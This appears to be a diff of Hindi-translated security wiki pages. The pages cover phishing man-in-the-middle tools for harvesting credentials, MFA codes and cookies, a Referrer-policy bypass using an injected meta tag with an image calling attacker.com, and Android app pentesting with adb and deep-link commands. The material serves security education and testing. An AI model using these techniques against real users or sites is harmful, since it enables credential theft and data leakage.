यहां ऐसे उपकरण हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) उपयोगी हैं। यह उपकरण आपको एक MitM जैसे हमले को उत्पन्न करने की अनुमति देगा। मूल रूप से, हमले का काम करने का तरीका इस प्रकार है:
|
||||
|
||||
1. आप **वास्तविक वेबपृष्ठ** के लॉगिन फ़ॉर्म का अनुकरण करते हैं।
|
||||
2. उपयोगकर्ता **अपनी** **क्रेडेंशियल्स** को आपके फ़र्ज़ी पृष्ठ पर भेजता है और उपकरण उन्हें वास्तविक वेबपृष्ठ पर भेजता है, **जांचता है कि क्या क्रेडेंशियल्स काम करते हैं**।
|
||||
@ -414,21 +414,21 @@ phishing-documents.md
|
||||
|
||||
### VNC के माध्यम से
|
||||
|
||||
क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ पर भेजने के बजाय** उसी रूप में एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़ा एक ब्राउज़र है**? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराते हैं...\
|
||||
क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ पर भेजने के बजाय** उसे एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़े ब्राउज़र** होते हैं? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराते हैं...\
|
||||
आप इसे [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) के साथ कर सकते हैं।
|
||||
|
||||
## पहचानने की पहचान
|
||||
|
||||
स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **ब्लैकलिस्ट में अपने डोमेन की खोज करना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\
|
||||
स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **अपने डोमेन को ब्लैकलिस्ट में खोजना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\
|
||||
यह जांचने का एक आसान तरीका है कि क्या आपका डोमेन किसी भी ब्लैकलिस्ट में दिखाई देता है [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना।
|
||||
|
||||
हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **सक्रिय रूप से संदिग्ध फ़िशिंग गतिविधियों की खोज कर रहा है** जैसा कि समझाया गया है:
|
||||
हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **संदिग्ध फ़िशिंग गतिविधियों की सक्रिय रूप से खोज कर रहा है** जैसा कि समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
आप **पीड़ित के डोमेन के बहुत समान नाम वाला एक डोमेन खरीद सकते हैं** **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित एक डोमेन का **कीवर्ड** पीड़ित के डोमेन को **शामिल करता है**। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से देख रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी।
|
||||
आप **पीड़ित के डोमेन के बहुत समान नाम** के साथ एक डोमेन खरीद सकते हैं **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित डोमेन का **कीवर्ड** शामिल करता है। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से खोज रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी।
|
||||
|
||||
### फ़िशिंग का मूल्यांकन करें
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@ Referrer वह हेडर है जिसका उपयोग ब्रा
|
||||
|
||||
## Sensitive information leaked
|
||||
|
||||
यदि किसी समय एक वेब पृष्ठ के अंदर कोई संवेदनशील जानकारी GET अनुरोध पैरामीटर पर स्थित है, यदि पृष्ठ में बाहरी स्रोतों के लिए लिंक हैं या एक हमलावर उपयोगकर्ता को एक URL पर जाने के लिए मजबूर/सुझाव देने में सक्षम है जो हमलावर द्वारा नियंत्रित है। यह नवीनतम GET अनुरोध के अंदर संवेदनशील जानकारी को निकालने में सक्षम हो सकता है।
|
||||
यदि किसी समय एक वेब पृष्ठ के भीतर कोई संवेदनशील जानकारी GET अनुरोध पैरामीटर पर स्थित है, यदि पृष्ठ में बाहरी स्रोतों के लिए लिंक हैं या एक हमलावर उपयोगकर्ता को एक URL पर जाने के लिए मजबूर/सुझाव देने में सक्षम है जो हमलावर द्वारा नियंत्रित है। यह नवीनतम GET अनुरोध के भीतर संवेदनशील जानकारी को निकालने में सक्षम हो सकता है।
|
||||
|
||||
## Mitigation
|
||||
|
||||
आप ब्राउज़र को एक **Referrer-policy** का पालन करने के लिए कह सकते हैं जो **संवेदनशील जानकारी** को अन्य वेब अनुप्रयोगों में भेजने से **बचा** सके:
|
||||
आप ब्राउज़र को एक **Referrer-policy** का पालन करने के लिए कह सकते हैं जो **संवेदनशील जानकारी** को अन्य वेब अनुप्रयोगों में भेजने से **रोक** सकती है:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
@ -21,10 +21,10 @@ Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## काउंटर-निवारण
|
||||
## Counter-Mitigation
|
||||
|
||||
आप इस नियम को एक HTML मेटा टैग का उपयोग करके ओवरराइड कर सकते हैं (हमलावर को एक HTML इंजेक्शन का शोषण करने की आवश्यकता है):
|
||||
```markup
|
||||
आप इस नियम को एक HTML मेटा टैग का उपयोग करके ओवरराइड कर सकते हैं (हमलावर को एक HTML इंजेक्शन का लाभ उठाने की आवश्यकता है):
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
||||
@ -64,22 +64,22 @@ APK के **strings** पर नज़र डालकर आप **passwords**,
|
||||
|
||||
**Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं:
|
||||
|
||||
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें जिसमें डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने के बारे में बताया गया है।
|
||||
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को खोजने और शोषण करने के तरीके पर एक ट्यूटोरियल के लिए संदर्भित करें।
|
||||
- **Backup Settings**: संवेदनशील जानकारी से निपटने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb debugging सक्षम हो।
|
||||
- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है।
|
||||
- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
|
||||
- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए।
|
||||
- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत डेटा तक पहुंच या संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए।
|
||||
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान दिया जाना चाहिए।
|
||||
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं।
|
||||
|
||||
**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स खोजे जा सकते हैं, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करते हैं।
|
||||
**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है।
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** एक हमला है जहाँ एक **malicious** **application** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
|
||||
प्रभाव में, यह **उपयोगकर्ता को यह जानने से अंधा कर रहा है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
||||
|
||||
अधिक जानकारी प्राप्त करें:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
tapjacking.md
|
||||
@ -87,9 +87,9 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (ताकि उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है)।
|
||||
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (ताकि उपयोगकर्ता **malicious application के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है**).
|
||||
|
||||
अधिक जानकारी में:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
@ -99,28 +99,28 @@ android-task-hijacking.md
|
||||
|
||||
**Internal Storage**
|
||||
|
||||
Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **accessible** किया जा सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं।
|
||||
Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **access** कर सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं।
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended or unauthorized access** के लिए **potentially expose** कर सकते हैं।
|
||||
- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended या unauthorized access** के लिए **potentially expose** कर सकते हैं।
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर **permissions** सेट की गई हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read or modify** करने की अनुमति देगा।
|
||||
- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर **permissions** सेट की गई हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित** करने की अनुमति देगा।
|
||||
|
||||
**External Storage**
|
||||
|
||||
**External storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए:
|
||||
|
||||
1. **Accessibility**:
|
||||
- बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
|
||||
- बाहरी संग्रहण पर फ़ाइलें **globally readable और writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
|
||||
2. **Security Concerns**:
|
||||
- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**।
|
||||
- बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
|
||||
3. **Handling Data from External Storage**:
|
||||
- हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
|
||||
- बाहरी संग्रहण पर executables या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है।
|
||||
- यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
- यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed और cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
|
||||
बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **accessed** किया जा सकता है।
|
||||
बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **access** किया जा सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह malicious एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है।
|
||||
@ -153,7 +153,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
### Other checks
|
||||
|
||||
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए।
|
||||
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखना चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
|
||||
@ -274,11 +274,11 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को अक्षम करना महत्वपूर्ण है, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए।
|
||||
Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। यह महत्वपूर्ण है कि संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को बंद कर दिया जाए, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए।
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजना आवश्यक है, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
|
||||
यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजा जाना चाहिए, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
|
||||
|
||||
As pentester, **try to take a look to these logs**.
|
||||
|
||||
@ -318,10 +318,10 @@ You can also start an exported activity from adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से पुराने संस्करणों (API संस्करण < 21) पर ही खतरनाक है।
|
||||
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि एक प्राधिकरण बाईपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बाईपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
|
||||
> ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
|
||||
|
||||
**संवेदनशील जानकारी का रिसाव**
|
||||
|
||||
@ -329,46 +329,46 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)।
|
||||
यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। [**Tapjacking क्या है, इसके बारे में अधिक जानकारी के लिए लिंक का पालन करें**](#tapjacking)।
|
||||
|
||||
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर
|
||||
|
||||
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
|
||||
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ Traversals** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
|
||||
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
|
||||
|
||||
[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers)
|
||||
[**Drozer के साथ सामग्री प्रदाताओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **सेवाओं का शोषण**
|
||||
|
||||
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
|
||||
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
|
||||
|
||||
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बाईपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
|
||||
[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services)
|
||||
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
|
||||
[**Drozer के साथ सेवाओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **प्रसारण रिसीवर्स का शोषण**
|
||||
### **ब्रॉडकास्ट रिसीवर्स का शोषण**
|
||||
|
||||
[**यदि आप प्रसारण रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
|
||||
याद रखें कि एक प्रसारण रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
|
||||
[**यदि आप ब्रॉडकास्ट रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
|
||||
याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
|
||||
|
||||
एक प्रसारण रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
|
||||
[**Drozer के साथ प्रसारण रिसीवर्स का शोषण करना सीखें।**](#exploiting-broadcast-receivers)
|
||||
एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
|
||||
[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, यह जानें।**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **स्कीमों / डीप लिंक का शोषण**
|
||||
|
||||
आप मैन्युअल रूप से गहरे लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
|
||||
आप मैन्युअल रूप से डीप लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
|
||||
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
```markup
|
||||
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**कोड निष्पादित**
|
||||
**कोड निष्पादित किया गया**
|
||||
|
||||
**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा कॉल किया गया है और फ़ंक्शन **`onNewIntent`** को खोजें।
|
||||
|
||||
@ -380,8 +380,8 @@ _ध्यान दें कि आप **पैकेज नाम छोड
|
||||
|
||||
**पैरामीटर पथ में**
|
||||
|
||||
